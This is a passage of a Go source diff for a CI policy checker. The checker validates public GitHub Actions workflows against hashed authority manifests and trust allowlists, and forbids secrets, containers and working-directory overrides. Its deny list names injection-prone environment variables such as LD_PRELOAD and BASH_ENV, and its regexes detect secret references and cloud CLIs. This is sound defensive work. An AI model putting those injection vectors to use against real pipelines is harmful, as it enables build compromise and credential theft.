file.Path)) + } + seen[file.Path] = true + previous = file.Path + } + for _, required := range authorityFixedPaths { + if !seen[required] { + findings = append(findings, fmt.Sprintf("authority bundle is missing required path %s", required)) + } + } + fixtureCount := 0 + for filePath := range seen { + if strings.HasPrefix(filePath, "scripts/fixtures/public-workflow-policy/") { + fixtureCount++ + } + } + if fixtureCount == 0 { + findings = append(findings, "authority bundle must contain public workflow policy fixtures") + } + } + if activeCount != 1 { + findings = append(findings, "authority manifest must contain exactly one active bundle") + } + if stagedCount > 1 || len(manifest.Bundles) != activeCount+stagedCount { + findings = append(findings, "authority manifest may contain at most one staged bundle") + } + sort.Strings(findings) + return findings +} + +func hashAuthorityFile(filePath string) (string, error) { + data, err := os.ReadFile(filePath) + if err != nil { + return "", err + } + return fmt.Sprintf("%x", sha256.Sum256(data)), nil +} + +func authorityInventory(repoRoot string) ([]authorityFile, error) { + paths := append([]string(nil), authorityFixedPaths...) + for _, root := range []string{ + ".github/workflows/policytool", + "scripts/fixtures/public-workflow-policy", + } { + absoluteRoot := filepath.Join(repoRoot, filepath.FromSlash(root)) + if err := filepath.WalkDir(absoluteRoot, func(filePath string, entry os.DirEntry, walkErr error) error { + if walkErr != nil { + return walkErr + } + if filePath == absoluteRoot { + if entry.Type()&os.ModeSymlink != 0 || !entry.IsDir() { + return fmt.Errorf("non-directory authority root %s", root) + } + return nil + } + relative, err := filepath.Rel(repoRoot, filePath) + if err != nil { + return err + } + relative = filepath.ToSlash(relative) + if entry.Type()&os.ModeSymlink != 0 { + return fmt.Errorf("non-regular authority path %s", relative) + } + if entry.IsDir() { + return nil + } + info, err := entry.Info() + if err != nil { + return err + } + if !info.Mode().IsRegular() { + return fmt.Errorf("non-regular authority path %s", relative) + } + paths = append(paths, relative) + return nil + }); err != nil { + return nil, err + } + } + sort.Strings(paths) + uniquePaths := paths[:0] + for _, filePath := range paths { + if len(uniquePaths) == 0 || uniquePaths[len(uniquePaths)-1] != filePath { + uniquePaths = append(uniquePaths, filePath) + } + } + inventory := make([]authorityFile, 0, len(uniquePaths)) + for _, filePath := range uniquePaths { + absolute := filepath.Join(repoRoot, filepath.FromSlash(filePath)) + current := repoRoot + components := strings.Split(filepath.FromSlash(filePath), string(filepath.Separator)) + for _, component := range components[:len(components)-1] { + current = filepath.Join(current, component) + info, err := os.Lstat(current) + if err != nil { + return nil, fmt.Errorf("inspect authority ancestor %s: %w", filePath, err) + } + if info.Mode()&os.ModeSymlink != 0 { + return nil, fmt.Errorf("authority path has symlink ancestor: %s", filePath) + } + if !info.IsDir() { + return nil, fmt.Errorf("authority path has non-directory ancestor: %s", filePath) + } + } + info, err := os.Lstat(absolute) + if err != nil { + return nil, fmt.Errorf("inspect authority path %s: %w", filePath, err) + } + if !info.Mode().IsRegular() || info.Mode()&os.ModeSymlink != 0 { + return nil, fmt.Errorf("non-regular authority path %s", filePath) + } + digest, err := hashAuthorityFile(absolute) + if err != nil { + return nil, fmt.Errorf("hash authority path %s: %w", filePath, err) + } + inventory = append(inventory, authorityFile{Path: filePath, SHA256: digest}) + } + return inventory, nil +} + +func authorityFilesEqual(left, right []authorityFile) bool { + if len(left) != len(right) { + return false + } + for index := range left { + if left[index] != right[index] { + return false + } + } + return true +} + +func authorityBundleForState(manifest authorityManifest, state string) (authorityBundle, bool) { + for _, bundle := range manifest.Bundles { + if bundle.State == state { + return bundle, true + } + } + return authorityBundle{}, false +} + +func authorityManifestsEqual(left, right authorityManifest) bool { + leftJSON, leftErr := json.Marshal(left) + rightJSON, rightErr := json.Marshal(right) + return leftErr == nil && rightErr == nil && bytes.Equal(leftJSON, rightJSON) +} + +func validateAuthorityTransition(base *authorityManifest, candidate authorityManifest, baseInventory, candidateInventory []authorityFile, bootstrap bool) []string { + findings := validateAuthorityManifest(candidate) + if bootstrap { + active, ok := authorityBundleForState(candidate, "active") + if len(candidate.Bundles) != 1 || !ok || !authorityFilesEqual(candidateInventory, active.Files) { + findings = append(findings, "bootstrap authority must contain one realized active bundle") + } + sort.Strings(findings) + return findings + } + findings = append(findings, validateAuthorityManifest(*base)...) + if len(findings) > 0 { + sort.Strings(findings) + return findings + } + baseActive, _ := authorityBundleForState(*base, "active") + baseStaged, baseHasStaged := authorityBundleForState(*base, "staged") + candidateActive, _ := authorityBundleForState(candidate, "active") + candidateStaged, candidateHasStaged := authorityBundleForState(candidate, "staged") + + valid := false + if authorityManifestsEqual(*base, candidate) && authorityFilesEqual(baseInventory, candidateInventory) { + valid = authorityFilesEqual(baseInventory, baseActive.Files) || + (baseHasStaged && authorityFilesEqual(baseInventory, baseStaged.Files)) + } + stageShape := !baseHasStaged && len(base.Bundles) == 1 && candidateHasStaged && len(candidate.Bundles) == 2 && + authorityFilesEqual(baseActive.Files, candidateActive.Files) && + authorityFilesEqual(baseInventory, baseActive.Files) && !authorityFilesEqual(candidateStaged.Files, baseActive.Files) + if stageShape && authorityFilesEqual(candidateInventory, baseActive.Files) { + valid = true + } + if stageShape && authorityFilesEqual(candidateInventory, candidateStaged.Files) { + findings = append(findings, "authority bundle cannot be staged and adopted in the same pull request") + } + if baseHasStaged && authorityManifestsEqual(*base, candidate) && + authorityFilesEqual(baseInventory, baseActive.Files) && authorityFilesEqual(candidateInventory, baseStaged.Files) { + valid = true + } + if baseHasStaged && !candidateHasStaged && len(candidate.Bundles) == 1 && + authorityFilesEqual(candidateActive.Files, baseStaged.Files) && + authorityFilesEqual(baseInventory, baseStaged.Files) && authorityFilesEqual(candidateInventory, baseStaged.Files) { + valid = true + } + if !valid { + findings = append(findings, "authority change does not match unchanged, stage, adopt, or promote lifecycle") + } + sort.Strings(findings) + return findings +} + +func semanticSet[T any](entries []T) map[string]int { + result := make(map[string]int) + for _, entry := range entries { + encoded, err := json.Marshal(entry) + if err == nil { + result[string(encoded)]++ + } + } + return result +} + +func semanticSetsEqual[T any](left, right []T) bool { + leftSet := semanticSet(left) + rightSet := semanticSet(right) + if len(leftSet) != len(rightSet) { + return false + } + for key, count := range leftSet { + if rightSet[key] != count { + return false + } + } + return true +} + +func semanticAdditions[T any](base, candidate []T) (additions []T, removed bool) { + remaining := semanticSet(candidate) + for _, entry := range base { + encoded, _ := json.Marshal(entry) + key := string(encoded) + if remaining[key] == 0 { + removed = true + continue + } + remaining[key]-- + } + for _, entry := range candidate { + encoded, _ := json.Marshal(entry) + key := string(encoded) + if remaining[key] > 0 { + additions = append(additions, entry) + remaining[key]-- + } + } + return additions, removed +} + +func realizesTrustGroup(group trustGroup, contexts map[string]string, present map[string]bool) bool { + if group.Presence == "absent" { + return !present[group.Path] + } + return present[group.Path] && contexts[group.Path] == group.ContextSHA256 +} + +func trustPoliciesEqual(left, right trustPolicy) bool { + return semanticSetsEqual(left.Secrets, right.Secrets) && + semanticSetsEqual(left.Executables, right.Executables) && + semanticSetsEqual(left.Commands, right.Commands) && + semanticSetsEqual(left.Actions, right.Actions) && + semanticSetsEqual(left.Presence, right.Presence) +} + +func stagedAuthorityMatches(group trustGroup, policy trustPolicy) bool { + if len(policy.Secrets) != 0 { + return false + } + seenExecutables := make(map[string]bool) + for _, entry := range policy.Executables { + rawPath := strings.TrimSpace(entry.Path) + slashPath := strings.ReplaceAll(rawPath, "\\", "/") + cleanPath := path.Clean(slashPath) + key := entry.WorkflowPath + "\x00" + cleanPath + "\x00" + entry.ContextSHA256 + if entry.State != "staged" || entry.WorkflowPath != group.Path || entry.ContextSHA256 != group.ContextSHA256 || + rawPath != cleanPath || filepath.IsAbs(rawPath) || path.IsAbs(slashPath) || filepath.VolumeName(rawPath) != "" || + cleanPath == "." || cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || + !validSHA256Hex(entry.SHA256) || strings.TrimSpace(entry.Rationale) == "" || seenExecutables[key] { + return false + } + seenExecutables[key] = true + } + seenCommands := make(map[string]bool) + for _, entry := range policy.Commands { + command := strings.ToLower(strings.TrimSpace(entry.Command)) + key := commandKey(entry.Path, command, entry.StatementSHA256, entry.ContextSHA256) + if entry.State != "staged" || entry.Path != group.Path || entry.ContextSHA256 != group.ContextSHA256 || + command == "" || command != path.Base(command) || categoricallyUnallowlistableCommandName(command) || + !validSHA256Hex(entry.StatementSHA256) || strings.TrimSpace(entry.Rationale) == "" || seenCommands[key] { + return false + } + seenCommands[key] = true + } + seenActions := make(map[string]bool) + for _, entry := range policy.Actions { + uses := strings.TrimSpace(entry.Uses) + key := actionKey(entry.Path, uses, entry.NodeSHA256, entry.ContextSHA256) + validReference := immutableActionReference(uses) + if entry.State != "staged" || entry.Path != group.Path || entry.ContextSHA256 != group.ContextSHA256 || + !validReference || strings.Contains(uses, "${{") || providerMarker(uses) || strings.Contains(strings.ToLower(uses), "digitalocean/") || + !validSHA256Hex(entry.NodeSHA256) || strings.TrimSpace(entry.Rationale) == "" || seenActions[key] { + return false + } + seenActions[key] = true + } + return true +} + +func validTrustGroupShape(group trustGroup) bool { + cleanPath := path.Clean(strings.ReplaceAll(group.Path, "\\", "/")) + validPath := group.Path == cleanPath && cleanPath != "." && cleanPath != ".." && + !strings.HasPrefix(cleanPath, "../") && !path.IsAbs(cleanPath) + if group.Presence == "present" { + validPath = validPath && strings.HasPrefix(cleanPath, ".github/workflows/") && + (path.Ext(cleanPath) == ".yml" || path.Ext(cleanPath) == ".yaml") + } + validContext := group.Presence == "present" && validSHA256Hex(group.ContextSHA256) + validAbsent := group.Presence == "absent" && group.ContextSHA256 == "" + return validPath && (group.State == "active" || group.State == "staged") && (validContext || validAbsent) +} + +func promotedTrustPolicy(base trustPolicy, staged trustGroup) trustPolicy { + result := trustPolicy{} + for _, group := range base.Presence { + if group.Path != staged.Path { + result.Presence = append(result.Presence, group) + } + } + staged.State = "active" + result.Presence = append(result.Presence, staged) + for _, entry := range base.Executables { + if entry.WorkflowPath != staged.Path { + result.Executables = append(result.Executables, entry) + } else if entry.ContextSHA256 == staged.ContextSHA256 && entry.State == "staged" { + entry.State = "active" + result.Executables = append(result.Executables, entry) + } + } + for _, entry := range base.Commands { + if entry.Path != staged.Path { + result.Commands = append(result.Commands, entry) + } else if entry.ContextSHA256 == staged.ContextSHA256 && entry.State == "staged" { + entry.State = "active" + result.Commands = append(result.Commands, entry) + } + } + for _, entry := range base.Actions { + if entry.Path != staged.Path { + result.Actions = append(result.Actions, entry) + } else if entry.ContextSHA256 == staged.ContextSHA256 && entry.State == "staged" { + entry.State = "active" + result.Actions = append(result.Actions, entry) + } + } + return result +} + +func validateTrustTransition(base, candidate trustPolicy, baseContexts, candidateContexts map[string]string, basePresent, candidatePresent map[string]bool) []string { + findings := []string{} + if len(base.Secrets) != 0 || len(candidate.Secrets) != 0 { + findings = append(findings, "public workflow secret manifest must remain exactly empty") + } + if trustPoliciesEqual(base, candidate) { + return findings + } + + presenceAdditions, presenceRemoved := semanticAdditions(base.Presence, candidate.Presence) + executableAdditions, executableRemoved := semanticAdditions(base.Executables, candidate.Executables) + commandAdditions, commandRemoved := semanticAdditions(base.Commands, candidate.Commands) + actionAdditions, actionRemoved := semanticAdditions(base.Actions, candidate.Actions) + if !presenceRemoved && !executableRemoved && !commandRemoved && !actionRemoved && len(presenceAdditions) == 1 { + staged := presenceAdditions[0] + additions := trustPolicy{Executables: executableAdditions, Commands: commandAdditions, Actions: actionAdditions} + var active trustGroup + for _, group := range base.Presence { + if group.Path == staged.Path && group.State == "active" { + active = group + } + } + if validTrustGroupShape(staged) && staged.State == "staged" && active.State == "active" && stagedAuthorityMatches(staged, additions) && + realizesTrustGroup(active, baseContexts, basePresent) && + !(active.Presence == staged.Presence && active.ContextSHA256 == staged.ContextSHA256) { + if realizesTrustGroup(staged, candidateContexts, candidatePresent) { + findings = append(findings, "trust context cannot be staged and adopted in the same pull request") + } else if realizesTrustGroup(active, candidateContexts, candidatePresent) { + return findings + } + } + } + + for _, staged := range base.Presence { + if staged.State != "staged" || !realizesTrustGroup(staged, baseContexts, basePresent) || !realizesTrustGroup(staged, candidateContexts, candidatePresent) { + continue + } + expected := promotedTrustPolicy(base, staged) + if trustPoliciesEqual(expected, candidate) { + return findings + } + } + findings = append(findings, "trust manifest change does not match unchanged, stage-only, or promotion-only lifecycle") + sort.Strings(findings) + return findings +} + +func loadTrustPolicy(repoRoot string) (trustPolicy, error) { + policy := trustPolicy{} + inputs := []struct { + name string + target any + }{ + {"secret", &policy.Secrets}, + {"executable", &policy.Executables}, + {"command", &policy.Commands}, + {"action", &policy.Actions}, + {"presence", &policy.Presence}, + } + for _, input := range inputs { + filePath := filepath.Join(repoRoot, ".github", "public-workflow-"+input.name+"-allowlist.json") + if err := decodeJSONFile(filePath, input.target); err != nil { + return trustPolicy{}, fmt.Errorf("read candidate %s allowlist: %w", input.name, err) + } + } + return policy, nil +} + +func repositoryWorkflowContexts(repoRoot string) (map[string]string, error) { + contexts := make(map[string]string) + for _, pattern := range []string{"*.yml", "*.yaml"} { + matches, err := filepath.Glob(filepath.Join(repoRoot, ".github", "workflows", pattern)) + if err != nil { + return nil, err + } + for _, workflowPath := range matches { + data, err := os.ReadFile(workflowPath) + if err != nil { + return nil, err + } + var document yaml.Node + if err := yaml.Unmarshal(data, &document); err != nil || len(document.Content) == 0 || document.Content[0].Kind != yaml.MappingNode { + continue + } + relative, err := filepath.Rel(repoRoot, workflowPath) + if err != nil { + return nil, err + } + contexts[filepath.ToSlash(relative)] = authorizationContextDigest(document.Content[0], nil, nil) + } + } + return contexts, nil +} + +func trustPresence(repoRoot string, policies ...trustPolicy) (map[string]bool, error) { + present := make(map[string]bool) + for _, policy := range policies { + for _, group := range policy.Presence { + if present[group.Path] { + continue + } + candidate := filepath.Join(repoRoot, filepath.FromSlash(group.Path)) + info, err := os.Lstat(candidate) + if err == nil { + present[group.Path] = true + if info.Mode()&os.ModeSymlink != 0 { + return nil, fmt.Errorf("trust path is a symlink: %s", group.Path) + } + } else if !os.IsNotExist(err) { + return nil, err + } + } + } + return present, nil +} + +func authorityManifestPath(repoRoot string) (string, error) { + manifestPath := filepath.Join(repoRoot, ".github", "public-workflow-authority.json") + info, err := os.Lstat(manifestPath) + if err != nil { + return "", err + } + if info.Mode()&os.ModeSymlink != 0 { + return "", fmt.Errorf("authority manifest must not be a symlink") + } + if !info.Mode().IsRegular() { + return "", fmt.Errorf("authority manifest must be a regular file") + } + return manifestPath, nil +} + +func validateRepositoryAuthority(repoRoot, scanRoot string, bootstrap bool) ([]string, error) { + candidateManifest := authorityManifest{} + candidateManifestPath, err := authorityManifestPath(scanRoot) + if err != nil { + return nil, fmt.Errorf("inspect candidate authority manifest: %w", err) + } + if err := decodeJSONFile(candidateManifestPath, &candidateManifest); err != nil { + return nil, fmt.Errorf("read candidate authority manifest: %w", err) + } + candidateInventory, err := authorityInventory(scanRoot) + if err != nil { + return nil, fmt.Errorf("inventory candidate authority: %w", err) + } + if bootstrap { + return validateAuthorityTransition(nil, candidateManifest, nil, candidateInventory, true), nil + } + baseManifest := authorityManifest{} + baseManifestPath, err := authorityManifestPath(repoRoot) + if err != nil { + return nil, fmt.Errorf("inspect base authority manifest: %w", err) + } + if err := decodeJSONFile(baseManifestPath, &baseManifest); err != nil { + return nil, fmt.Errorf("read base authority manifest: %w", err) + } + baseInventory, err := authorityInventory(repoRoot) + if err != nil { + return nil, fmt.Errorf("inventory base authority: %w", err) + } + findings := validateAuthorityTransition(&baseManifest, candidateManifest, baseInventory, candidateInventory, false) + + basePolicy, err := loadTrustPolicy(repoRoot) + if err != nil { + return nil, err + } + candidatePolicy, err := loadTrustPolicy(scanRoot) + if err != nil { + return nil, err + } + baseContexts, err := repositoryWorkflowContexts(repoRoot) + if err != nil { + return nil, fmt.Errorf("read base workflow contexts: %w", err) + } + candidateContexts, err := repositoryWorkflowContexts(scanRoot) + if err != nil { + return nil, fmt.Errorf("read candidate workflow contexts: %w", err) + } + basePresent, err := trustPresence(repoRoot, basePolicy, candidatePolicy) + if err != nil { + return nil, fmt.Errorf("inspect base trust paths: %w", err) + } + candidatePresent, err := trustPresence(scanRoot, basePolicy, candidatePolicy) + if err != nil { + return nil, fmt.Errorf("inspect candidate trust paths: %w", err) + } + findings = append(findings, validateTrustTransition(basePolicy, candidatePolicy, baseContexts, candidateContexts, basePresent, candidatePresent)...) + sort.Strings(findings) + return findings, nil +} + +func selectTrustGroups(groups []trustGroup, workflowContexts map[string]string, presentPaths map[string]bool) (map[string]bool, []string) { + selected := make(map[string]bool) + findings := []string{} + byPath := make(map[string]map[string]trustGroup) + for _, group := range groups { + if !validTrustGroupShape(group) { + findings = append(findings, fmt.Sprintf("invalid trust group for %s", group.Path)) + continue + } + if byPath[group.Path] == nil { + byPath[group.Path] = make(map[string]trustGroup) + } + if _, ok := byPath[group.Path][group.State]; ok { + findings = append(findings, fmt.Sprintf("multiple %s trust groups for %s", group.State, group.Path)) + } + byPath[group.Path][group.State] = group + other := "active" + if group.State == "active" { + other = "staged" + } + if prior, ok := byPath[group.Path][other]; ok && prior.Presence == group.Presence && prior.ContextSHA256 == group.ContextSHA256 { + findings = append(findings, fmt.Sprintf("mixed trust group state for %s context %s", group.Path, group.ContextSHA256)) + } + } + for workflowPath, context := range workflowContexts { + var matched trustGroup + for _, group := range byPath[workflowPath] { + if group.Presence == "present" && group.ContextSHA256 == context { + matched = group + } + } + if matched.State == "" { + findings = append(findings, fmt.Sprintf("no trust group matches workflow %s context %s", workflowPath, context)) + continue + } + if matched.State == "staged" && byPath[workflowPath]["active"].State == "" { + findings = append(findings, fmt.Sprintf("staged trust group for %s requires retained active group", workflowPath)) + } + selected[workflowPath+"\x00"+context] = true + } + for workflowPath, states := range byPath { + if _, ok := workflowContexts[workflowPath]; ok { + continue + } + selectedGroup := states["active"] + if states["staged"].Presence == "absent" { + selectedGroup = states["staged"] + } + if selectedGroup.Presence != "absent" { + findings = append(findings, fmt.Sprintf("no absent trust group matches missing workflow %s", workflowPath)) + continue + } + if presentPaths[workflowPath] { + findings = append(findings, fmt.Sprintf("absent trust group path exists in candidate %s", workflowPath)) + continue + } + if selectedGroup.State == "staged" && states["active"].State == "" { + findings = append(findings, fmt.Sprintf("staged trust group for %s requires retained active group", workflowPath)) + } + selected[workflowPath+"\x00absent"] = true + } + sort.Strings(findings) + return selected, findings +} + +type findingSet struct { + items []string +} + +func (f *findingSet) add(format string, args ...any) { + f.items = append(f.items, fmt.Sprintf(format, args...)) +} + +func mappingValue(node *yaml.Node, key string) *yaml.Node { + if node == nil || node.Kind != yaml.MappingNode { + return nil + } + for i := 0; i+1 < len(node.Content); i += 2 { + if node.Content[i].Value == key { + return node.Content[i+1] + } + } + return nil +} + +func canonicalYAMLNode(out *bytes.Buffer, node *yaml.Node) { + if node == nil { + out.WriteString("nil;") + return + } + fmt.Fprintf(out, "%d:%d:%s:%d:%s:", node.Kind, len(node.Tag), node.Tag, len(node.Value), node.Value) + if node.Kind == yaml.MappingNode { + type pair struct { + key string + value string + } + pairs := make([]pair, 0, len(node.Content)/2) + for index := 0; index+1 < len(node.Content); index += 2 { + var key, value bytes.Buffer + canonicalYAMLNode(&key, node.Content[index]) + canonicalYAMLNode(&value, node.Content[index+1]) + pairs = append(pairs, pair{key: key.String(), value: value.String()}) + } + sort.Slice(pairs, func(i, j int) bool { return pairs[i].key < pairs[j].key }) + for _, item := range pairs { + fmt.Fprintf(out, "K%d:%sV%d:%s", len(item.key), item.key, len(item.value), item.value) + } + return + } + for _, child := range node.Content { + canonicalYAMLNode(out, child) + } +} + +func actionNodeDigest(node *yaml.Node) string { + var canonical bytes.Buffer + canonicalYAMLNode(&canonical, node) + digest := sha256.Sum256(canonical.Bytes()) + return fmt.Sprintf("%x", digest) +} + +func validateYAMLStructure(prefix string, node *yaml.Node, findings *findingSet) { + if node == nil { + return + } + if node.Kind == yaml.AliasNode { + findings.add("%s contains forbidden YAML alias", prefix) + return + } + if node.Kind == yaml.MappingNode { + seen := make(map[string]bool) + for index := 0; index+1 < len(node.Content); index += 2 { + var canonical bytes.Buffer + canonicalYAMLNode(&canonical, node.Content[index]) + key := canonical.String() + if seen[key] { + findings.add("%s contains duplicate mapping key %s", prefix, node.Content[index].Value) + } + seen[key] = true + } + } + for _, child := range node.Content { + validateYAMLStructure(prefix, child, findings) + } +} + +func executionAffectingEnv(name string) bool { + name = strings.ToUpper(strings.TrimSpace(name)) + exact := map[string]bool{ + "PATH": true, "BASH_ENV": true, "ENV": true, "SHELLOPTS": true, + "LD_PRELOAD": true, "NODE_OPTIONS": true, "PYTHONPATH": true, + "PYTHONHOME": true, "RUBYOPT": true, "PERL5OPT": true, + "PERL5LIB": true, "HOME": true, "IFS": true, "CDPATH": true, + "CC": true, "CXX": true, "AR": true, "LD": true, + "GOROOT": true, "GOPATH": true, "GOENV": true, "GOFLAGS": true, + "GOTOOLCHAIN": true, "LD_LIBRARY_PATH": true, "DYLD_LIBRARY_PATH": true, + "LIBRARY_PATH": true, "CPATH": true, "C_INCLUDE_PATH": true, + "CPLUS_INCLUDE_PATH": true, "OBJC_INCLUDE_PATH": true, + "PKG_CONFIG_PATH": true, "RUSTFLAGS": true, "RUSTC_WRAPPER": true, + "JAVA_TOOL_OPTIONS": true, "_JAVA_OPTIONS": true, "MAVEN_OPTS": true, + "GRADLE_OPTS": true, "GEM_HOME": true, "GEM_PATH": true, + "BUNDLE_GEMFILE": true, "PATHEXT": true, "SHELL": true, + "BASHOPTS": true, "PROMPT_COMMAND": true, "PS4": true, + "CFLAGS": true, "CXXFLAGS": true, "CPPFLAGS": true, "LDFLAGS": true, + "AS": true, "FC": true, "F77": true, "RANLIB": true, "STRIP": true, + "OBJC": true, "OBJCXX": true, "SDKROOT": true, + "MACOSX_DEPLOYMENT_TARGET": true, "JAVA_HOME": true, + "JDK_JAVA_OPTIONS": true, "CARGO_HOME": true, "CARGO_TARGET_DIR": true, + "CARGO_ENCODED_RUSTFLAGS": true, "ZDOTDIR": true, + } + if exact[name] { + return true + } + for _, prefix := range []string{ + "BASH_FUNC_", "DYLD_", "LD_", "GIT_", "NPM_CONFIG_", "NODE_", "PYTHON", + "RUBY", "PERL", "RUST", "CGO_", + } { + if strings.HasPrefix(name, prefix) { + return true + } + } + if strings.HasPrefix(name, "GO") && name != "GOPRIVATE" && name != "GOOS" && name != "GOARCH" { + return true + } + return false +} + +func checkWorkingDirectory(prefix string, node *yaml.Node, findings *findingSet) { + if node == nil || node.Kind != yaml.MappingNode { + return + } + if mappingValue(node, "working-directory") != nil { + findings.add("%s declares forbidden working-directory", prefix) + } + if run := mappingValue(mappingValue(node, "defaults"), "run"); run != nil && mappingValue(run, "working-directory") != nil { + findings.add("%s declares forbidden defaults.run.working-directory", prefix) + } +} + +func checkJobRuntime(prefix string, job *yaml.Node, findings *findingSet) { + if job == nil || job.Kind != yaml.MappingNode { + return + } + if mappingValue(job, "container") != nil { + findings.add("%s declares forbidden job container", prefix) + } + if mappingValue(job, "services") != nil { + findings.add("%s declares forbidden job services", prefix) + } +} + +func authorizationContextDigest(workflow, _, _ *yaml.Node) string { + var canonical bytes.Buffer + canonicalYAMLNode(&canonical, workflow) + digest := sha256.Sum256(canonical.Bytes()) + return fmt.Sprintf("%x", digest) +} + +func scalars(node *yaml.Node, out *[]string) { + if node == nil { + return + } + if node.Kind == yaml.ScalarNode { + *out = append(*out, node.Value) + } + for _, child := range node.Content { + scalars(child, out) + } +} + +func knownCredentialVariables(node *yaml.Node, out map[string]bool) { + if node == nil { + return + } + if node.Kind == yaml.MappingNode { + for i := 0; i+1 < len(node.Content); i += 2 { + key := node.Content[i].Value + value := node.Content[i+1] + if (key == "env" || key == "secrets") && value.Kind == yaml.MappingNode { + for j := 0; j+1 < len(value.Content); j += 2 { + name := strings.ToUpper(value.Content[j].Value) + if knownCloudSecret(name) { + out[name] = true + } + } + } + } + } + for _, child := range node.Content { + knownCredentialVariables(child, out) + } +} + +func triggerPresent(root *yaml.Node, name string) bool { + on := mappingValue(root, "on") + if on == nil { + return false + } + switch on.Kind { + case yaml.ScalarNode: + return on.Value == name + case yaml.SequenceNode: + for _, item := range on.Content { + if item.Value == name { + return true + } + } + case yaml.MappingNode: + return mappingValue(on, name) != nil + } + return false +} + +var ( + secretRefRE = regexp.MustCompile(`(?i)secrets(?:\.([A-Za-z_][A-Za-z0-9_]*)|\[[[:space:]]*['"]([A-Za-z_][A-Za-z0-9_]*)['"][[:space:]]*\])`) + providerCLIRE = regexp.MustCompile(`(^|[^A-Za-z0-9_.-])(doctl|gcloud|az|aws)([^A-Za-z0-9_.-]|$)`) + integrationRE = regexp.MustCompile(`(^|[[:space:]])-tags(?:=|[[:space:]])[^[:space:]]*integration`) + namedLiveRE = regexp.MustCompile(`(?i)(-run[=[:space:]]+[^[:space:]]*live|test[A-Za-z0-9_]*live|conformance_live_cloud)`) + providerAPIRE = regexp.MustCompile(`(?i)(api\.digitalocean\.com|management\.azure\.com|[A-Za-z0-9.-]+\.amazonaws\.com|[A-Za-z0-9.-]+\.googleapis\.com|api\.cloudflare\.com)`) + githubRunnerRE = regexp.MustCompile(`^(ubuntu-(latest|[0-9]{2}\.[0-9]{2})(-arm)?|windows-(latest|[0-9]{4})|macos-(latest|[0-9]{2})(-(large|xlarge))?)$`) + secretIndexRE = regexp.MustCompile(`(?i)secrets\[[^]\r\n]+\]`) + secretWildcardRE = regexp.MustCompile(`(?i)secrets\.\*`) + wholeSecretsRE = regexp.MustCompile(`(?i)(^|[^A-Za-z0-9_])secrets([^A-Za-z0-9_.\[]|$)`) + literalSecretIndexRE = regexp.MustCompile(`(?i)^secrets\[[[:space:]]*['"][A-Za-z_][A-Za-z0-9_]*['"][[:space:]]*\]$`) + varsRefRE = regexp.MustCompile(`(?i)vars(?:\.([A-Za-z_][A-Za-z0-9_]*)|\[[[:space:]]*['"]([A-Za-z_][A-Za-z0-9_]*)['"][[:space:]]*\])`) + varsIndexRE = regexp.MustCompile(`(?i)vars\[[^]\r\n]+\]`) + literalVarsIndexRE = regexp.MustCompile(`(?i)^vars\[[[:space:]]*['"][A-Za-z_][A-Za-z0-9_]*['"][[:space:]]*\]$`) + envAssignmentRE = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*=`) + exactGoVersionRE = regexp.MustCompile(`^v[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z][0-9A-Za-z.-]*)?(?:\+[0-9A-Za-z][0-9A-Za-z.-]*)?$`) + sha256HexRE = regexp.MustCompile(`^[a-f0-9]{64}$`) +) + +var providerSDKMarkers = [...]string{ + "digitalocean/godo", + "aws-sdk", + "azure-sdk", + "cloud.google.com/go", + "google-cloud-", +} + +func validSHA256Hex(value string) bool { + return sha256HexRE.MatchString(value) +} + +func githubExpressions(value string) ([]string, bool) { + expressions := []string{} + for { + start := strings.Index(value, "${{") + if start < 0 { + return expressions, true + } + value = value[start+3:] + end := strings.Index(value, "}}") + if end < 0 { + return expressions, false + } + expressions = append(expressions, strings.TrimSpace(value[:end])) + value = value[end+2:] + } +} + +func normalizeGithubExpressions(value string) (string, error) { + var out strings.Builder + for { + start := strings.Index(value, "${{") + if start < 0 { + out.WriteString(value) + return out.String(), nil + } + out.WriteString(value[:start]) + remainder := value[start+3:] + end := strings.Index(remainder, "}}") + if end < 0 { + return "", fmt.Errorf("unterminated GitHub expression") + } + expressionSource := value[start : start+3+end+2] + digest := sha256.Sum256([]byte(expressionSource)) + fmt.Fprintf(&out, "__GITHUB_EXPRESSION_%x__", digest) + value = remainder[end+2:] + } +} + +func expressionIdentifiers(value string) string { + masked := []byte(value) + for index := 0; index < len(masked); { + quote := masked[index] + if quote != '\'' && quote != '"' { + index++ + continue + } + previous := index - 1 + for previous >= 0 && (masked[previous] == ' ' || masked[previous] == '\t') { + previous-- + } + // Preserve a quoted bracket selector so exact `secrets['NAME']` and + // `vars['NAME']` selectors remain statically reviewable. Other string + // contents are data, not expression identifiers. + preserve := false + if previous >= 0 && masked[previous] == '[' { + selectorPrefix := strings.TrimSpace(string(masked[:previous])) + preserve = regexp.MustCompile(`(?i)(secrets|vars)$`).MatchString(selectorPrefix) + } + index++ + for index < len(masked) { + if masked[index] == quote { + if index+1 < len(masked) && masked[index+1] == quote { + if !preserve { + masked[index] = ' ' + masked[index+1] = ' ' + } + index += 2 + continue + } + index++ + break + } + if !preserve { + masked[index] = ' ' + } + index++ + } + } + return string(masked) +} + +func containsProviderSDKMarker(value string) bool { + value = strings.ToLower(value) + for _, marker := range providerSDKMarkers { + if strings.Contains(value, marker) { + return true + } + } + return false +} + +func providerMarker(value string) bool { + return providerCLIRE.MatchString(value) || providerAPIRE.MatchString(value) || containsProviderSDKMarker(value) +} + +func envValues(prefix string, env *yaml.Node, allowDenyPattern bool, findings *findingSet) map[string]string { + patterns := make(map[string]string) + if env == nil { + return patterns + } + if env.Kind != yaml.MappingNode { + findings.add("%s uses unsupported environment shape", prefix) + return patterns + } + for i := 0; i+1 < len(env.Content); i += 2 { + name := env.Content[i].Value + valueNode := env.Content[i+1] + literalValue := valueNode.Kind == yaml.ScalarNode && !strings.Contains(valueNode.Value, "${{") + if executionAffectingEnv(name) && !safeExecutionEnvironmentAssignment(name, valueNode.Value, literalValue) { + findings.add("%s declares forbidden execution-affecting environment variable %s", prefix, strings.ToUpper(name)) + } + if valueNode.Kind != yaml.ScalarNode { + findings.add("%s environment variable %s uses unsupported value shape", prefix, name) + continue + } + value := valueNode.Value + if strings.HasSuffix(name, "_DENY_PATTERN") && providerMarker(value) { + if allowDenyPattern { + patterns[name] = value + } else { + findings.add("%s provider deny pattern %s must be step-local", prefix, name) + } + continue + } + if match := providerCLIRE.FindStringSubmatch(value); match != nil { + findings.add("%s environment value contains provider CLI %s", prefix, match[2]) + } + if match := providerAPIRE.FindStringSubmatch(value); match != nil { + findings.add("%s environment value contains provider API 